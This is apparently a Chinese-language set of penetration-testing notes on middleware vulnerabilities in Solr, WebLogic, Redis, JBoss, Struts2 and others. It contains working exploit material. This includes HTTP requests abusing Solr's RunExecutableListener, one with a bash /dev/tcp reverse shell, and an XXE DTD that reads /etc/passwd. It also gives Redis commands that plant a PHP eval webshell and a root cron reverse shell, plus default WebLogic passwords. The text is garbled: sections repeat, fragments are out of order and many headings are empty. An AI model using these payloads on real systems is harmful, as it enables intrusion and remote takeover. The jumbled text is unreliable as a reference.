POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}
更新一下操作,修改post包,触发前面的命令
HTTP
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
反弹shell(同上,只是传入的命令换了)
HTTP
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
HTTP
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
1.1.3.1.5 修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
1.1.3.2 远程命令执行XXE(CVE-2017-12629)
1.1.3.2.1 漏洞详情
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.2.2 影响版本
Apache solr<7.1.0版本
1.1.3.2.3 漏洞利用
在另一台服务器web站点下创建一个.dtd文件
XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
4.1.2 XML Weblogic 未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883
4.1.1.1 漏洞详情
远程代码执行漏洞(CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用。利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console,并执行任意代码,利用门槛低,危害巨大。
在 kali 执行以下命令即可。返回(416 Requested Range Not Satisfiable)则存在漏洞;返回(400 The request has an invalid header name)则不存在漏洞。curl http://192.168.80.130 -H "Host: 192.168.80.130" -H "Range: bytes=0-18446744073709551615"
通过 kali 的 `redis-cli.exe -h ip地址 -p6378`,不接 -p 就是默认 6379,
连入对方 6379 端口后依次执行下列命令:
> config set dir /var/www/html # 设置待写入文件所在目录
> config set dbfilename shell.php
> set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n"
> save
直接连接 /shell.php 即可。
定时任务反弹 shell
kali 建立一个监听端口 `nc -lvnp 7999`,
通过 kali 的 `redis-cli.exe -h ip地址 -p6379`,不接 -p 就是默认 6379,
连入对方 6379 端口后依次执行下列命令:
> set x "\n* * * * * bash -i >& /dev/tcp/攻击机IP/7999 0>1\n" # 设置反弹语句
> config set dir /var/spool/cron/ # 设置待写入文件目录,linux 计划目录
> config set dbfilename root # 修改备份文件名为 root,以 root 身份执行计划任务
> save
Spring Cloud 是一个基于 Spring Boot 的开发框架,用于构建和部署分布式系统的解决方案。它提供了一组工具和框架,帮助开发人员快速构建云原生应用程序,并提供强大的服务治理、负载均衡、路由、配置管理等功能。Spring Cloud 能够简化微服务的开发和部署,提高开发效率和软件质量。
中间件,通俗来说就是位于操作系统(底层)与业务应用(表层)之间的“软件胶水”或“转换器”。它屏蔽了底层技术的复杂性,让开发者能专注于业务逻辑。
根据应用场景,常见的中间件:
一、Apache
1.1 RCE远程代码执行漏洞
1.1.1 log4j2远程代码执行漏洞(2021年12月)
1.1.1.1 原理
1.1.1.2 漏洞验证
VulHub:找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参。
构造Payload:
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后再dnslog留下记录,我们可以看到留下了访问记录并且前面的参数被执行,后面给我们回显了java的版本号。
1.1.1.3 修复方法
1.1.2 Shiro-721 高危代码执行漏洞(2021)
1.1.2.1 原理
该漏洞是由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
1.1.2.2 漏洞影响
1.2.5<=shiro<=1.4.2
1.1.2.3 漏洞指纹
1.1.2.4 利用技巧
1.1.2.5 如何防范
1.1.3 solr 远程代码执行漏洞
1.1.3.1 远程命令执行RCE
1.1.3.1.1 简介
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
1.1.3.1.2 漏洞详情
CVE-2017-12629 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.1.3 影响版本
Apache solr<7.1.0版本
1.1.3.1.4 漏洞利用
1.1.3.1.5 修复方案
1.1.3.2 远程命令执行XXE(CVE-2017-12629)
1.1.3.2.1 漏洞详情
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.2.2 影响版本
Apache solr<7.1.0版本
1.1.3.2.3 漏洞利用
1.1.3.2.4 修复方案
1.1.3.3 未授权上传(CVE-2020-13957)
1.1.3.3.1 漏洞详情
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。 整个利用链流程: 上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
1.1.3.3.2 影响版本
1.1.3.2.3 修复方案
升级Apache Solr 8.6.2版本以上
1.2 反序列化漏洞
1.2.1 Shiro-550 存在java反序列化 (2020)
1.2.1.1 攻击特征
在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段
1.2.1.2 影响范围
Apache Shiro <= 1.2.4 版本都存在威胁
1.2.1.3 漏洞原理
1.2.1.4 防范方法
1.3 解析漏洞
1.3.1 漏洞成因
1.3.2 漏洞利用
1.3.3 漏洞修复
1.4 目录遍历
1.4.1 漏洞成因
1.4.1 利用方法
1.4.1 漏洞修复
二、Tomcat
2.1 Tomcat简介
Tomcat 是由 Apache 软件基金会下属的 Jakarta 项目开发的一个 Servlet 容器,按照 Sun Microsystems 提供的技术规范,实现了对 Servlet 和 JavaServer Page(JSP)的支持,并提供了作为 Web 服务器的一些特有功能,如 Tomcat 管理和控制平台、安全域管理和 Tomcat 阀等。由于 Tomcat 本身也内含了一个 HTTP 服务器,它也可以被视为一个单独的 Web 服务器。
重要文件:
2.2 任意写文件漏洞
2.2.1 漏洞详情
2.2.2 影响版本
2.2.3 漏洞利用
2.3 AJP 文件包含漏洞(CVE-2020-1938)
2.3.1 漏洞详情
2.3.2 影响版本
2.2.3 漏洞利用
2.4 弱口令文件上传 war 包
2.4.1 漏洞详情
Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应账户有相应权限。
2.4.2 影响版本
2.4.3 漏洞利用
三、JBoss
3.1 Jboss 反序列化
使用下载的工具进行检测:java -jar DeserializeExploit.jar
3.1.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
3.1.1.1 原理
Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器在未进行任何安全检查的情况下,将来自客户端的数据流进行反序列化
3.1.1.2 访问地址
http://192.168.1.102:8080/ 以及 http://192.168.1.102:8080/invoker/readonly,返回 500 说明漏洞存在
3.1.1.3 下载漏洞利用工具反弹 shell:
http://scan.javasec.cn/java/JavaDeserH2HC.zip
3.1.2 JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
3.1.3 JBoss 远程部署漏洞
四、Weblogic
4.1 反序列化
4.1.1 XML Decoder 反序列化漏洞(CVE-2017-10271)
4.1.1.1 漏洞详情
weblogic 的 WLS 组件存在 xmldecoder 反序列化漏洞,直接 post 构造的 xml 数据包即可 rce
4.1.1.2 影响版本
4.1.1.3 漏洞复现
可能存在漏洞的路径
4.1.1.4 漏洞验证
4.1.2 XML Weblogic 未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883
4.1.1.1 漏洞详情
4.1.1.2 影响版本
4.1.1.3 漏洞复现
4.2 SSRF 漏洞(需要在安装 Weblogic 时选择 UDDI 组件)
4.2.1 漏洞详情
4.2.2 影响版本
4.2.3 漏洞复现
4.2.4 漏洞修复
4.3 弱口令
登录地址:http://192.168.190.136:7001/console/login/LoginForm.jsp
weblogic/weblogic、weblogic/Oracle@123
搭配文件上传 getshell
漏洞修复
五、IIS
5.1 PUT 漏洞
5.1.1 漏洞成因
5.1.2 漏洞利用
5.1.3 漏洞修复
5.2 短文件名猜解
5.2.1 漏洞成因
5.2.2 漏洞利用
5.2.3 漏洞修复
5.3 解析漏洞
5.3.1 漏洞成因
5.3.2 漏洞修复
5.4 (MS15-034) HTTP.sys 远程执行代码漏洞
5.4.1 漏洞详情
5.4.2 漏洞检测
5.4.3 漏洞利用
5.4.4 漏洞修复
六、Redis
6.1 redis 简介
Redis 是一个 key-value 存储系统。和 Memcached 类似,它支持存储的 value 类型相对更多,包括 string(字符串)、list(链表)、set(集合)、zset(sorted set -- 有序集合)和 hash(哈希类型)。这些数据类型都支持 push/pop、add/remove 及取交集、并集、差集等更丰富的操作,而且这些操作都是原子性的。在此基础上,redis 支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都缓存在内存中。区别在于,redis 会周期性地把更新的数据写入磁盘,或者把修改操作写入追加的记录文件,并在此基础上实现了 master-slave(主从)同步。默认端口 6379。
6.2 Redis 未授权访问
6.2.1 漏洞详情
6.2.2 前提条件
6.2.3 漏洞利用
6.3 Redis 密钥登录 ssh
6.3.1 漏洞详情
6.3.2 前提条件
6.3.3 漏洞利用
6.4 远程主从复制 RCE
6.4.1 漏洞原理
6.4.2 漏洞影响
6.4.3 漏洞利用
6.5 本地 Redis 主从复制 RCE 反弹 shell
6.5.1 漏洞原理
6.5.2 漏洞利用
6.6 安全防护
redis 的安全设置:设置完毕,需要重加载配置文件启动 redis
七、Struts2
7.1 S2-001 命令执行
7.1.1 漏洞详情
7.1.2 漏洞检测
7.1.3 漏洞利用
7.2 S2-005 命令执行
7.2.1 漏洞详情
s2-005 漏洞的起源源于 S2-003(受影响版本:低于 Struts 2.0.12),struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过 # 来访问 struts 的对象,struts 框架通过过滤 # 字符防止安全问题,然而通过 unicode 编码(\u0023)或 8 进制(\43)即绕过了安全限制。对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞。攻击者可以利用 OGNL 表达式将这 2 个选项打开,S2-003 的修补方案相当于给自己上了一把锁,却把锁的钥匙插在了锁头上。
总结
7.2.2 漏洞利用
7.3 S2-007 命令执行
7.3.1 漏洞利用
7.4 S2-008
7.4.1 漏洞详情
7.4.2 漏洞利用
八、Fastjson
8.1 如何判断是否是 fastjson
8.2 反序列化
8.2.1 漏洞详情
8.2.2 漏洞前提
8.2.3 漏洞利用
九、Spring Cloud
9.1 Spring Cloud 简介
Spring Cloud 是一个基于 Spring Boot 的开发框架,用于构建和部署分布式系统的解决方案。它提供了一组工具和框架,帮助开发人员快速构建云原生应用程序,并提供强大的服务治理、负载均衡、路由、配置管理等功能。Spring Cloud 能够简化微服务的开发和部署,提高开发效率和软件质量。
9.2 SpEL 远程代码执行漏洞(2022)
9.2.1 漏洞详情
9.2.2 漏洞原理
9.2.3 影响版本
9.2.4 漏洞利用
9.2.5 漏洞修复
十、Nginx 解析漏洞
10.1.1 漏洞详情
10.1.2 Payload